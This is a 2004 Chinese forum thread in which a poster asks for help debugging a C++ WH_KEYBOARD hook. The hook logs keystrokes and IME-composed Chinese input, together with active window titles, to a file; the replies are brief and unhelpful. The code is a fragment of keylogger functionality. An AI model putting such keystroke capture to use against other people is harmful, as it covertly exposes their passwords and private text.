首页
社区
课程
招聘
用WH_KEYBOARD钩子获取汉字输入(有相关的code)[求助]
2004-12-3 13:58 6980

用WH_KEYBOARD钩子获取汉字输入(有相关的code)[求助]

2004-12-3 13:58
6980
我在用WH_KEYBOARD获取键盘输入的汉字时有这样一个问题,在钩子的callback函数中我用ImmGetCompositionString获取输入的汉字字串,然后将这些字串输出到一个文件中,但是奇怪的是在输出文件中记录了很多重复的输入串。请教这是为什么啊?

程序如下:(load钩子的应该不用了吧。)

/******************************************************************************
* 功        能:
*                        回调函数,当键盘事件触发后自动执行
******************************************************************************/
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
        LRESULT Result;
        char szTitle[256] = {0};
        HIMC hInputContext = 0;
        char msg[128] = {0};
        char* InputBuffer = NULL;
       
        if( nCode <= 0 )
                Result=CallNextHookEx(Hook,nCode,wParam,lParam);  
        if(nCode==HC_ACTION)   
        {
                //Get the handle of curren active window.
                HWND hWnd = ::GetActiveWindow();

                //Get the title of window
                ::SendMessage(hWnd,WM_GETTEXT,255,(long)szTitle);
                if(lParam & 0x80000000)     
                {   
                        if( IsIme() )/* the IMM was opened */
                        {
                                int length = 0;
                                //Get the input context
                                hInputContext = GetInputContext( hWnd );
                                //Get information
                                length = ImmGetCompositionString( hInputContext, GCS_RESULTSTR, NULL, 0 );
                                if( length > 0 )
                                {
                                        InputBuffer = (char*)malloc(sizeof(char)*(length+1));
                                        ZeroMemory( InputBuffer, sizeof(char)*(length+1) );
                                }
                                if( InputBuffer != NULL )
                                {
                                        ImmGetCompositionString( hInputContext, GCS_RESULTSTR, InputBuffer, length );
                                        if( strlen(keybuffer) + length <= 512 - 2 )
                                                strcat( keybuffer, InputBuffer );                                       
                                }
                                /* the buffer was full */
                                if( strlen(keybuffer) >= 6 || (hWnd != 0 && g_ActiveWinHwnd != hWnd && strlen(keybuffer) > 0))
                                {
                                        SaveChinaFont(hWnd, szTitle, keybuffer );
                                }
                        }
                        else
                        {
                                keybuffer[keybuffer_num++]=wParam;
                                /* put the character into file when keybuffer is full. */
                                if( keybuffer_num >= 6 || (hWnd != 0 && g_ActiveWinHwnd != hWnd && keybuffer_num > 0))
                                {
                                        SaveLog(hWnd, szTitle, keybuffer );
                                }
                        }
                }
                ImmReleaseContext( hWnd, hInputContext );
        }
        return CallNextHookEx(Hook,nCode,wParam,lParam);
}

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (7)
雪    币: 16
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
great1234 2004-12-3 14:01
2
0
把源代码传上来
雪    币: 116
活跃值: (220)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
xIkUg 9 2004-12-3 16:48
3
0
源代码传上来才能帮你研究
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Alanzheng 2004-12-6 18:16
4
0
晕倒,怎么没人回答啊。
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Alanzheng 2004-12-9 11:49
5
0
失望,失望,是偶发错了地方,还是大家都不知道啊?怎么就没个反应呢?
雪    币: 390
活跃值: (707)
能力值: ( LV12,RANK:650 )
在线值:
发帖
回帖
粉丝
firstrose 16 2004-12-9 12:37
6
0
给一段输出文件
雪    币: 213
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
d1y2j3 2004-12-9 13:02
7
0
先只钩自己程序的,看看有没有问题。
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
huodingx 2004-12-9 16:13
8
0
钩子不爽……
游客
登录 | 注册 方可回帖
返回